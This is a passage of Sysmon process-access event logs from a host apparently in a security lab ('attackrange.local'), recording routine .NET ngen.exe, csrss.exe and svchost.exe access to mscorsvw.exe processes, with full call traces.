:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+8198|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+1f42|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+1d64|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+277a|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+2708|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:01:30.839","SourceProcessGUID":"{90617006-422D-5F2D-0000-0010E7380900}","SourceProcessId":"4860","SourceThreadId":"4876","SourceImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe","TargetProcessGUID":"{90617006-429A-5F2D-0000-0010E5E10A00}","TargetProcessId":"4712","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+2d42|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+a4e6|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9ebd|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9c4b|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9b19|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+6d87|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+2066|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+8b84|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+6ad3|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+69a3|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+1f19|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+8198|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+1f42|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+1d64|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+277a|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+2708|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 12:01:32","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:01:30","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":6795,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:01:30.854\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010D5420000}\r\nSourceProcessId: 644\r\nSourceThreadId: 760\r\nSourceImage: C:\\Windows\\system32\\csrss.exe\r\nTargetProcessGUID: {90617006-429A-5F2D-0000-0010E5E10A00}\r\nTargetProcessId: 4712\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:01:30.854","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010D5420000}","SourceProcessId":"644","SourceThreadId":"760","SourceImage":"C:\\Windows\\system32\\csrss.exe","TargetProcessGUID":"{90617006-429A-5F2D-0000-0010E5E10A00}","TargetProcessId":"4712","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","EventReceivedTime":"2020-08-07 12:01:32","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:01:30","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":6796,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:01:30.854\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-429A-5F2D-0000-0010E5E10A00}\r\nTargetProcessId: 4712\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x1000\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|c:\\windows\\system32\\rpcss.dll+5296|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\RPCRT4.dll+4693a|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:01:30.854","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-429A-5F2D-0000-0010E5E10A00}","TargetProcessId":"4712","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x1000","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|c:\\windows\\system32\\rpcss.dll+5296|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\RPCRT4.dll+4693a|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 12:01:32","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:01:30","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":6797,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:01:30.900\r\nSourceProcessGUID: {90617006-422D-5F2D-0000-0010E7380900}\r\nSourceProcessId: 4860\r\nSourceThreadId: 4876\r\nSourceImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe\r\nTargetProcessGUID: {90617006-429A-5F2D-0000-00104AE50A00}\r\nTargetProcessId: 3968\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+2d42|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+a4e6|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9ebd|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9c4b|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9b19|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+6d87|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+2066|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+8b84|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+6ad3|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+69a3|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+1f19|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+8198|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+1f42|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+1d64|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+277a|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+2708|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:01:30.900","SourceProcessGUID":"{90617006-422D-5F2D-0000-0010E7380900}","SourceProcessId":"4860","SourceThreadId":"4876","SourceImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe","TargetProcessGUID":"{90617006-429A-5F2D-0000-00104AE50A00}","TargetProcessId":"3968","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+2d42|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+a4e6|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9ebd|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9c4b|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9b19|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+6d87|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+2066|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+8b84|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+6ad3|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+69a3|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+1f19|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+8198|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+1f42|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+1d64|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+277a|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+2708|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 12:01:32","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:01:30","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":6798,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:01:30.900\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010D5420000}\r\nSourceProcessId: 644\r\nSourceThreadId: 2376\r\nSourceImage: C:\\Windows\\system32\\csrss.exe\r\nTargetProcessGUID: {90617006-429A-5F2D-0000-00104AE50A00}\r\nTargetProcessId: 3968\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:01:30.900","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010D5420000}","SourceProcessId":"644","SourceThreadId":"2376","SourceImage":"C:\\Windows\\system32\\csrss.exe","TargetProcessGUID":"{90617006-429A-5F2D-0000-00104AE50A00}","TargetProcessId":"3968","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","EventReceivedTime":"2020-08-07 12:01:32","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:01:30","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":6799,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:01:30.916\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-429A-5F2D-0000-00104AE50A00}\r\nTargetProcessId: 3968\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x1000\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|c:\\windows\\system32\\rpcss.dll+5296|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\RPCRT4.dll+4693a|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:01:30.916","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-429A-5F2D-0000-00104AE50A00}","TargetProcessId":"3968","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x1000","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|c:\\windows\\system32\\rpcss.dll+5296|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\RPCRT4.dll+4693a|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 12:01:32","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:01:30","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":6800,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:01:30.994\r\nSourceProcessGUID: {90617006-422D-5F2D-0000-0010E7380900}\r\nSourceProcessId: 4860\r\nSourceThreadId: 4876\r\nSourceImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe\r\nTargetProcessGUID: {90617006-425E-5F2D-0000-00103E070A00}\r\nTargetProcessId: 748\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+2d42|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+a4e6|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9ebd|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9c4b|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9b19|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+6d87|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+2066|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+8b84|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+6ad3|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+69a3|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+1f19|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+8198|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+1f42|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+1d64|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+277a|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+2708|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:01:30.994","SourceProcessGUID":"{90617006-422D-5F2D-0000-0010E7380900}","SourceProcessId":"4860","SourceThreadId":"4876","SourceImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe","TargetProcessGUID":"{90617006-425E-5F2D-0000-00103E070A00}","TargetProcessId":"748","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+2d42|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+a4e6|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9ebd|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9c4b|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9b19|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+6d87|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+2066|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+8b84|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+6ad3|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+69a3|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+1f19|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+8198|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+1f42|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+1d64|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+277a|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+2708|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 12:01:32","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:01:30","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":6801,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:01:30.994\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010D5420000}\r\nSourceProcessId: 644\r\nSourceThreadId: 1148\r\nSourceImage: C:\\Windows\\system32\\csrss.exe\r\nTargetProcessGUID: {90617006-425E-5F2D-0000-00103E070A00}\r\nTargetProcessId: 748\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:01:30.994","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010D5420000}","SourceProcessId":"644","SourceThreadId":"1148","SourceImage":"C:\\Windows\\system32\\csrss.exe","TargetProcessGUID":"{90617006-425E-5F2D-0000-00103E070A00}","TargetProcessId":"748","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","EventReceivedTime":"2020-08-07 12:01:32","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:01:31","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":6802,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:01:30.994\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-425E-5F2D-0000-00103E070A00}\r\nTargetProcessId: 748\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x1000\r\nCallTrace: 